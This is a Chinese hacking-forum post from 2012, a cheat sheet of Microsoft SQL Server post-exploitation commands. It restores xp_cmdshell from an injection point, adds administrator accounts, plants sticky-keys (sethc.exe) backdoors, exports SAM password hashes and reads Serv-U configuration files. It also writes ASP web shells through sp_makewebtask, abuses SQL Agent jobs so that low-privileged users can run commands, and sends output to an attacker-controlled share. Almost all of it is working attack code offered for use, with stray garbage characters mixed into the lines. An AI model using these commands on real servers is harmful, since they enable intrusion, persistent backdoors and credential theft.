找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2511|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号( p9 d0 o* G' }- ~" v$ y
恢复方法:查询分离器连接后,
; f4 v1 ~' P3 b) c1 K. ~第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 0 F+ p. {2 p  f# h1 n& D
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  F/ }6 R  U# _然后按F5键命令执行完毕
$ z: M  ~0 V; `4 n
, F  `" K0 P  L$ G# [2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
1 k! {2 i8 [4 N# v恢复方法:查询分离器连接后,
0 g) q8 `- `5 X9 ]4 F$ r+ |: ]第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"2 [. m0 r; G: n# @# c: n
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
- g' Y5 ^7 @1 U' l  y然后按F5键命令执行完毕
; ^  n5 g$ [' m& @; j2 |5 c8 h! [* ~9 E9 v  D
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)4 w3 l% F' P. d2 o- ^  R) \
恢复方法:查询分离器连接后,
* U7 r1 D! W8 A2 @+ c* z& X2 C; w* F第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
, O; z$ o" P3 Z" u第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       , t7 q7 W" l6 n+ U4 k% G* z5 P0 z& @" \
然后按F5键命令执行完毕- n$ G6 C  X- t- ]$ q; L. p! S7 V
8 ]4 Q0 N( k$ T; i2 G% ^3 o; c1 u+ I
4 终极方法.  a/ b6 h: t) F7 G; J- N
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
8 }0 ]. U% E- l' f9 }' l查询分离器连接后,* Y: U/ D( C. I4 o( h2 l
2000servser系统:  Y7 |  }+ q& L) ~0 Q! A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
" c7 q2 ]5 \1 c5 f$ j8 v: P" P5 x) @! N  V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
0 h: m9 ]; M1 z3 Q0 d& m* U! L, |! k( b9 J) f$ y8 f" e$ R
xp或2003server系统:+ @+ ^. E3 t0 N  l
/ W* W, I9 n" {  u1 D/ r5 W) V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
* N9 D  E+ n5 R6 \* R5 j) X
, L! _/ }& ^9 G/ u3 qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'4 d, w" b1 R: }$ [; h6 I$ S
2 o' w' e4 W; F" w5 H

( @/ e1 \8 i: C9 K: u" w五个SHIFT- w( y$ c" s( K" z( C
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';9 k5 Q! ~$ Y3 L2 v
3 U$ ], d3 z' w6 n8 R) ]
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
: E/ E; s: }+ {
$ @1 E  }7 X- {/ }3 exp_cmdshell执行命令另一种方法
! B1 Z, E4 E2 B" E; @8 P' |0 pdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
% _2 H+ k6 z, S' R: p" d; u6 G  ^1 J" K
判断存储扩展是否存在
6 J' y5 u4 v; S& m# _% DSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'" b) Q% o3 ~2 A  a! p3 B0 X0 y; T- ^
返回结果为1就OK
$ w1 W  p+ a& r
  @- c8 P$ Q; M
9 v5 j9 v4 H+ J上传xplog70.dll恢复xp_cmdshell语句:% |0 c2 K# [2 T- u: n) {7 }
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'9 F3 j$ D+ {1 z, O! H* i
0 E3 g. `) }, i2 f) q
否则上传xplog7.0.dll
3 s7 ?  W6 @* Y3 l. RExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
7 g6 i) ~4 Q) s7 R( i+ K4 V- y+ v
: U7 }1 z8 Z4 @2 H5 T6 M
; @# n; U/ ~  J0 M0 ?6 y
首先开启沙盘模式:0 K5 {5 I8 N/ C' K; x* h
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) O: q8 `, E; ~  e- F1 G: m% i+ }  ~, \& \% Z' A" g' r
然后利用jet.oledb执行系统命令
/ E" Z# ^- e3 A' V  V$ s5 H8 C/ Nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
  I7 g1 V1 h9 A, i1 T返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# E! F! x9 Z' }; a9 Q+ z, L2 E9 A8 y4 g! o$ W
* z) Y! _5 |9 ~, s, S% @

# C/ p4 q( U2 e0 Y5 m恢复过程sp_addextendedproc 如下: ! J: N+ r" A3 W, ^5 ~# R# w% a
create procedure sp_addextendedproc --- 1996/08/30 20:13 4 }+ j9 i3 [" \5 {% L+ n4 `
@functname nvarchar(517),/* (owner.)name of function to call */ & H9 v5 u: _0 X; M7 L& Z
@dllname varchar(255)/* name of DLL containing function */ * a4 y% Y/ Q; \" f! l$ `. z
as + h/ r0 h3 ]$ Z1 }& c
set implicit_transactions off ; L: m3 W; Y$ }* m2 ~4 c5 g
if @@trancount > 0
+ Q' H+ Z$ `$ S& jbegin
! h& l: {! N' C0 ^0 `raiserror(15002,-1,-1,'sp_addextendedproc') 1 A. M3 \; c9 i2 F! ^5 M5 K
return (1) 0 ^* V" _0 Y# H, d9 z
end ' H' N* C/ |1 @* Z. B" l$ t$ r
dbcc addextendedproc( @functname, @dllname) / u0 ?" `$ B7 x! t0 R& C# i
return (0) -- sp_addextendedproc " e! J$ Q# y" Q# v$ d! T4 r7 I6 M
GO % e+ u: u1 o* c( m7 b: A
  Y$ E9 z6 d. f" |2 s! ?

; i; x0 A! {$ g/ o
" [, f, @+ O, j- `7 `, {导出管理员密码文件; R& X' H6 b) G" F: a# p1 w9 m1 [
sa默认可以读sam键.应该。
% W( U# |1 Y7 O4 \9 J+ Z  Mreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg2 G4 g, f2 H2 J: O1 |. C
net user administrator test
3 J( b+ |) n, g( u3 \% M! h用administrator登陆.( s# @6 ?' M$ d
用完机器后
# \6 {+ s5 [* ~) I$ C2 n; Lreg import c:\test.reg% k8 V  {) H' K0 d0 r5 @3 U
根本不用克隆.
  x) N* ]- G; c* A找到对应的sid.
4 \2 y1 o* h7 \) c: M5 w4 M
1 k: z3 t: L% V' D  P! j
( S% F6 v6 V2 C9 H
& O9 s6 Q3 [7 `; u0 ?) N- s) u恢复所有存储过程/ i( i, H4 e/ h
use master * `- }: s9 U8 D
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' : ^6 E0 `: x8 B* M
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 Z6 [& d5 u$ h4 ^exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
1 z. s/ O; M! u& S( Sexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' % P% {2 M0 K6 t2 ~1 X
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
, [& y" N/ m, C% Y3 V, s& H3 jexec sp_addextendedproc sp_OACreate,'odsole70.dll'
9 V- }8 @; {: g) D$ J6 vexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
* o# g' Q- n& [5 s* Q/ bexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ( b  m. u: K1 W4 F* R
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ; k7 @% O5 u2 t& H' a
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
' w9 x. I/ x% l' F0 V3 Zexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
2 K) n! S$ W( n6 n7 e" Dexec sp_addextendedproc sp_OAStop,'odsole70.dll'
' Y1 M$ K# X" I+ R0 S: @: h4 nexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
( N8 l& H3 }$ e: Y' F7 ]6 ?exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
( B2 O" ?! s; G9 N$ Z/ ]6 R1 p5 bexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
+ M9 m; A! I4 }! F. e' Fexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
% S; X( p4 o/ s3 U4 C# t8 n9 aexec sp_addextendedproc xp_regread,'xpstar.dll'
9 u9 V7 M8 |. k: T% e1 p, j, @exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
. T& ]% j2 i) [$ q& b. G- ^+ oexec sp_addextendedproc xp_regwrite,'xpstar.dll' 9 N% t; Q- k4 J6 U% j
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'+ X  w* j0 z: t& R! l
" B3 Z' O4 e( U
, u4 U: z6 h. W2 e# z6 t7 f
建立读文件的存储过程! X! A1 x5 `$ S4 O9 K
Create proc sp_readTextFile @filename sysname- b) q4 y6 P$ y+ l, I0 V  N% D4 r
as
% z& V! C8 u  O  L, [. I
7 F1 T" d  J# H& B6 |1 y! L    begin
$ v$ B3 K2 G- Q: A2 B  b& X    set nocount on
+ f9 g% @& }) ?1 a; n* t    Create table #tempfile (line varchar(8000))' c1 r4 J2 L& |- G, K, m, Y
    exec ('bulk insert #tempfile from "' + @filename + '"')8 Q6 \7 }# X, D# F& v
    select * from #tempfile' W& y( ~* Z- a, u0 p) W) `3 G- N5 g
    drop table #tempfile
1 s' R" \9 c4 c/ UEnd$ l& I7 W9 Z7 w" [( \' p% d8 T
6 {1 s7 K0 }, C$ J3 L
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
9 I$ u  j. m% w( _5 o. l2 w  c9 B$ l) A查看登录用户
9 q( i0 j  N' t% S: G- @Select * from sysxlogins2 Y' H3 X( p* u: O* R

1 P! P5 g; L9 i* o9 ?' _& `6 X把文件内容读取到表中
2 @2 ]4 \9 j/ j6 g* \  L  {BULK INSERT tmp from "c:\test.txt"
- i5 Y$ Z: P' B0 X0 s2 |. cdElete from 表名 清理表里的内容; n, k$ K. u# t: [& s
create table b_test(fn nvarchar(4000));建一个表,字段为fn- v- @, Q; Y. K( m- m3 D

: S: g# W. z, f# j5 _
- h# r  F- |4 Y0 Z& K8 P) r加sa用户/ I( l6 N' D( Z, {% Q& R: o
exec master.dbo.sp_addlogin user,pass;; J8 {3 a! S0 C2 J/ j3 O
exec master.dbo.sp_addsrvrolemember user,sysadmin3 \' T; A2 U# L5 j* @
* p7 I) q' v5 K# l! R
. B; E" _. F; p3 s! C& `; e  i
# x9 t/ J& n  Y0 ?# p4 U
读文件代码
9 `3 A# D" w) M' x6 s9 m: \- ?  i- ndeclare @o int, @f int, @t int, @ret int# Y, J, m8 O- H' ]2 N' B8 ]
declare @line varchar(8000)2 @* q3 N0 X3 E: o9 S* k- z+ o3 ^
exec sp_oacreate 'scripting.filesystemobject', @o out
( n3 j* [' Q  q! `2 G3 Z+ {, ]. a$ Yexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 11 n/ t9 Q1 ~, W' ~& U+ K
exec @ret = sp_oamethod @f, 'readline', @line out
' m0 v& f3 T: u% O8 pwhile( @ret = 0 )8 r9 M; F: I( M& w4 x
begin" P  o6 b6 k: i1 x
print @line
8 s- W4 M" @1 s9 T6 z9 Mexec @ret = sp_oamethod @f, 'readline', @line out
; }# z9 p& j4 R' M& m- d% oend
* T+ f2 y) p, K% `8 C" O- ?) K7 ^: g3 F# w( E9 E

" H4 y( t' @2 C5 r; |5 \写文件代码:
9 u# p0 t! A& h/ y4 P' ]declare @o int, @f int, @t int, @ret int) d6 }4 `! v7 F9 B: o" W
exec sp_oacreate 'scripting.filesystemobject', @o out2 o# \, K  V8 X8 d0 z  O+ H/ a
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1; ~$ B0 L. T# X; j1 S3 y
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
$ G% a8 [" Z$ u) v- E9 C: r* z8 d1 h& K) C0 e% [
+ i- c6 n- h8 R3 k  g  B6 c0 e
添加lake2 shell
% Q7 h9 m  x' V, Esp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'2 n2 m& x6 G3 L. F. ]
sp_dropextendedproc xp_lake2
3 l5 U- y5 }9 c% WEXEC xp_lake2 'net user'% J. O0 b  M' b7 y7 p: s, |

8 l4 K' F5 e5 {9 \4 P' Y$ ^2 v  \, C6 O' Z/ Y, D2 W
得到硬盘文件信息
8 `- ^6 d  H$ ^& v  H--参数说明:目录名,目录深度,是否显示文件
6 v9 I) X5 F  s) T% m8 F+ A& R# [execute master..xp_dirtree 'c:' / q. ?' K8 H5 K% ?
execute master..xp_dirtree 'c:',1 5 [: Z* _* {& s- Y
execute master..xp_dirtree 'c:',1,1 + j  N+ k. y' |, e/ T: }
, e" X/ h5 F2 [2 k3 D

" v4 T1 d1 t8 i- m% T! p# e2 o读serv-u配置信息; H$ a5 l, O9 T$ A9 t
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
" z1 g8 R/ }/ K' W. rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
- F7 `5 V! v, A1 @0 L9 b% }6 g0 a) t( n% ?, x6 k
通过xp_regwrite写SHIFT后门, @  x; |9 Z* U1 S+ p' d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
: v8 j/ x: {0 N+ v* G% p$ x% H9 T$ C$ J  r0 G- C7 H0 j' L. j' y, |# g
9 ^6 L% I0 [0 z4 S

8 {; _# U' j2 Z找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';! U. m4 Z4 R/ f9 Y; I4 Q+ R
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
0 N5 W0 r; \: K& |$ q+ Q, ?6 Y! S. t. C
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'3 B% _# o4 w& G

) V) u" I' P: ^) ?- m6 S  P& {( q, a. g) B: ]  F$ @

4 }" C+ x  ~, |% h8 `; dsql server 2005下开启xp_cmdshell的办法2 r- }0 d4 M+ a7 N) u6 |

4 ^( B7 @( a0 `8 O, ~3 _EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- Z: m, ^8 _& T8 {9 a+ k- Y
/ ]1 z8 C- Y( ?% t7 N, SSQL2005开启'OPENROWSET'支持的方法:
) L% t1 O( [! J, @. T1 q& Z# K; h# l( i5 }! v6 p8 d
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;  Q; @9 E- S/ S5 o9 N/ H! t
: C, m" I, w2 |7 v) k, ^
SQL2005开启'sp_oacreate'支持的方法:% W2 e- ~! y. X' s1 q3 F9 q# |

! A1 D+ ~/ j- z0 E" L+ mexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
9 k: I8 u* k/ u0 Q3 V9 \/ \! O  u9 J. ]8 C* L  p# d% n
0 f) x0 X3 L0 v$ k

) a* f- U) n7 d! j* f" o) d; Z, L& ^' {2 i9 C- Z4 H. {2 }
: C+ r( T; J5 e/ o& J

- f2 O; b: E& k# @% ^
6 r/ E  L7 A9 I+ ^& U7 E5 Y" U. ^" k5 @  D/ N5 r% h: o0 ]

; m" k' }" n$ q: A0 m% F  m. i+ @* \7 i
  _' z6 E- z# j9 u2 t# o7 ~, i6 x: F
: J$ ~- C" X' C/ c( D
# S  u5 I# `& `. r6 z# n6 O
0 m# k, S/ {, N  p/ d3 ?

, S# v$ i0 a* v1 w1 w: ~( U: R; W* }( U3 Y" Z' A& \& ?. p8 r5 a
! ]/ `6 m0 F4 w: a3 |' ~0 Q

' V4 K' T) J. N
5 ]0 ~" e9 u( E8 m1 p
+ R' o: U2 Y* I! m
. I4 J7 s1 W6 P8 o( |6 Q! ^* `& L8 @
6 X+ X5 y  x$ |2 Y4 }1 X9 g# Y
% C2 a9 m' k  ?$ i
以下方面不知道能不能成功暂且留下研究哈:
9 u7 B5 m/ y/ C- y! ~# N' l# T% N4)6 Z8 J) j0 Q- K# ~) [
use msdb; --这儿不要是master哟
/ D8 F, _" i. J, U" H5 M8 W! N; K6 Sexec sp_add_job @job_name= czy82 ;  a' e: e3 ]" n' ]
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
2 U; F' g4 g5 z7 Eexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
) u+ \" T/ G( Xexec sp_start_job @job_name= czy82 ;
+ m3 G' C, X6 [4 _( t  M- u! |/ d
0 Z+ h/ a6 z, d利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
/ X2 ]+ K" B/ T/ i: Q  y: l" [执行tsql语句了.
' f8 j3 p; a  D0 a/ g对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名5 t6 _+ E  |4 R& a6 ]1 ~/ Z
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
  O* E/ Y1 E4 D) z3 qnet start SQLSERVERAGENT5 G2 B  k% X8 d% `
, k  T% K3 |. ?4 [% _
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的" z/ ]+ [* c$ h  R5 L6 G
USE msdb
- V7 P- l. T; P2 J" y/ ]% d' SEXEC sp_add_job @job_name = GetSystemOnSQL ,
1 i" z7 E3 r% b& }! r9 }@enabled = 1,3 ?! ?6 t' W! j2 Z
@description = This will give a low privileged user access to
/ ^$ \+ Y: x' L, x+ u; p' Y! n& L4 ]xp_cmdshell ,7 u* z& J* o$ t
@delete_level = 14 n: I: e* m  r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
6 _3 O- W7 j; w6 |$ B( y2 e! s' T- q0 Z@step_name = Exec my sql ,
. l) a& m" B! f# @@subsystem = TSQL ,+ I+ w2 L! j: z; z/ p  y: @
@command = exec master..xp_execresultset N select exec
" W! C; e' [# \, D2 I+ X1 ^master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
  Z  B, G9 Y) C( A, O- M- e, nEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; k8 w& I" R8 h! E" x: w" [  X@server_name = 你的SQL的服务器名
$ K- ~: w. m5 H7 W% ^EXEC sp_start_job @job_name = GetSystemOnSQL $ }% R% ?. ^$ @9 ~7 d

( s, W3 j: x* k$ B不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以  K7 b9 W  F" K7 g4 C0 g
才让我们可以以public执行xp_cmdshell9 T+ w, T' d  q. p( i- f

  l8 {: W# H* A5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
1 t4 v1 O  R. E9 |. r8 R在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
" i6 f6 |: J  D4 Z" E: t
6 a5 M& R3 d$ ]; C$ W* B$ M( ]USE msdb
0 B4 Y8 B# i4 g: n, h% YEXEC sp_add_job @job_name = ArbitraryFilecreate ,$ t+ M2 Y* x3 }
@enabled = 1,
1 B% A: A% w+ _" n* a@description = This will create a file called c:\sqlafc123.txt ,
8 V( N+ s' k* ]# x2 @/ }5 [' u@delete_level = 13 x$ w5 ^& l. _; }6 q1 G, L' k9 L
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
9 U7 q1 ^6 {; T' b2 {% c@step_name = SQLAFC ,3 w! m, p; }# K8 E& g8 I& |
@subsystem = TSQL ,
1 C' I* s& J# E' s( e@command = select hello, this file was created by the SQL Agent. ,
; P. I! V( q$ K# i@output_file_name = c:\sqlafc123.txt # I% B* {* ^' U6 n
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,5 d/ {  q3 l. U7 E* K3 [
@server_name = SERVER_NAME
2 b5 t$ I1 n; U* K. \, kEXEC sp_start_job @job_name = ArbitraryFilecreate 4 ?0 c0 f' r# a0 ~1 B
; d; i5 V2 b6 a7 k1 B6 K
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
, d$ ?0 I* w' E3 ~. ]0 b4 r' E, @% r
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19" ~" m. u3 ]: U. ^/ m" u
----------------------------------------------
- V8 I4 l  V; {hello, this file was created by the SQL Agent.
8 M% y( N5 Z0 A! q! C+ q# {; M9 @* G( ^, e
(1 ?????)% _7 H( c! W5 J# j
3 V. u. `$ y8 I0 _6 B+ N, ~: ~# f( b
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
1 E7 c$ F9 }, u5 z命令的vbs文件到启动目录!" J% u' q  f: u7 ?& I: c  g& l

2 g2 I- z4 w  i7 f5 V6 b6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
/ g9 O' [" i6 B" R9 a) M关于sp_MScopyscriptfile 看下面的例子
- f# q( E% h9 S: g/ Hdeclare @command varchar(100) . j6 E( f: Z) Y' X: }
declare @scripfile varchar(200)
* G7 s  s7 J; zset concat_null_yields_null off 5 m! G% X2 i( j; R* }, C9 s
select @command= dir c:\ > "\\attackerip\share\dir.txt"
, ?3 L, q) ]% p  n( w( N5 z4 Z8 |6 iselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
8 T" N4 F* T) _+ q  e) T# R1 [exec sp_MScopyscriptfile @scripfile ,
5 h2 @9 J; B/ l6 f
7 Z. n7 k* e6 S5 r, [5 F' B这两个东东都还在测试试哟
1 P' Y) p/ ?: h6 e2 S9 H/ X3 Q让MSSQL的public用户得到一个本机的web shell
1 ^4 Q7 V0 M( g! O" B& U% M
  e& b2 [; Z$ Y% z. A2 Qsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,, S( w, D7 Z4 f( r! `0 g4 j7 ]% E
--@query= select <img src=vbscript:msgbox(now())>
, G  m- h/ L$ d7 W+ o- `- h--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>   |# s: a6 W, r! _
@query= select 0 e; _& e2 r# J8 |
<%On Error Resume Next
! f* W* w2 M( b7 B7 E( ZSet oscript = Server.createObject("wscript.SHELL")
  {$ B; U3 x' U) X& c( {8 `9 nSet oscriptNet = Server.createObject("wscript.NETWORK") + }- s1 N3 B. J
Set oFileSys = Server.createObject("scripting.FileSystemObject") 6 ?# W; e: m7 ?1 K! k7 B
szCMD = Request.Form(".CMD")
- ]( _; O: S9 ~1 s# C0 rIf (szCMD <>"")Then
9 V/ q3 r0 t& w6 bszTempFile = "C:\" & oFileSys.GetTempName() ( r# i' G+ R+ ]$ w( u
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 5 y/ y8 w7 w3 Q8 U: L( e
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)   ^9 J6 ]; L% [7 k  u1 W
End If %> % E$ I" r0 G% y/ u& P
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
! B3 }# c7 t- d. g( {<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> " z* y8 K$ X/ ^( N' i
</FORM><RE> 3 z6 C: @! p, s( g
<% If (IsObject(oFile))Then / a! b9 F7 \3 I) B$ q  ?, \
On Error Resume Next : s  o! m2 K9 L4 `7 V  |" J
Response.Write Server.HTMLEncode(oFile.ReadAll)
0 J2 h0 O5 e7 b7 ]8 JoFile.Close ' w6 p/ h# [0 Y. c
Call oFileSys.deleteFile(szTempFile, True)
+ D8 @. d! h; y9 sEnd If%>
" U6 A' k6 S+ ~' B$ I</BODY></HTML> 8 U1 K2 A+ F  x5 P$ [+ T2 {6 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表